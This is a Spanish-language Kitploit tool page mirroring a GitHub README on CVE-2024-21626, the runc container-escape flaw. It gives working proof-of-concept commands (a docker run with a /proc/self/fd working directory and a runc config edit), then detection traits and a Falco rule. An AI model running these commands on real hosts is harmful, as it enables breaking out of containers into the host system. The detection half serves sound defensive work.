Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-21626 — PoC y Detección para CVE-2024-21626 | Kitploit
Herramientas/GitHubGitHub/nitrocao/cve-2024-21626
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónDetección de IntrusionesRespuesta a IncidentesEscape de Contenedores
GitHubnitrocao/cve-2024-21626

CVE-2024-21626

PoC y Detección para CVE-2024-21626

Ver Repositorio
7712hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-21626

Para una explicación detallada de esta vulnerabilidad, consulte mi artículo.

Explotación

Explotación mediante la ejecución de un contenedor

No es necesario construir una imagen personalizada, solo ejecute un contenedor con el parámetro -w:

root@kitploit:~
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

explotación mediante la ejecución de un contenedor

Explotación mediante exec en un contenedor en ejecución

Explotación mediante exec en un contenedor en ejecución

Explotación mediante runc mismo

root@kitploit:~
~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo

Explotación mediante runc mismo

Cómo detectar

Los exploits tienen las siguientes características:

  • Un contenedor ejecutará execve(2) en un proceso con un directorio de trabajo especial que comienza con /proc/self/fd/.
  • Un contenedor creará enlaces simbólicos mediante symlink(2) o symlinkat(2) con un enlace de directorio de destino especial que comienza con /proc/self/fd/.
  • Un contenedor abrirá archivos mediante open(2), openat(2) o openat2(2) con nombres de archivo como /proc/\d+/cwd/.*.

Detector dinámico de leaky vessels de Snyk

https://github.com/snyk/leaky-vessels-dynamic-detector

Falco

Aquí está la regla personalizada de Falco:

root@kitploit:~
- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL

Pero filtrar falsos positivos con proc.name no es una buena idea.

detectar exploits con Falco

Referencias

  • https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
  • https://github.com/opencontainers/runc/commit/8e1cd2f56d518f8d6292b8bb39f0d0932e4b6c2a
  • https://github.com/opencontainers/runc/commit/f2f16213e174fb63e931fe0546bbbad1d9bbed6f
  • https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48
  • https://github.com/opencontainers/runc/commit/ee73091a8d28692fa4868bac81aa40a0b05f9780
  • https://access.redhat.com/security/cve/cve-2024-21626
  • https://github.com/snyk/leaky-vessels-dynamic-detector
  • https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-21626
  • https://github.com/snyk/leaky-vessels-dynamic-detector
Descargar herramienta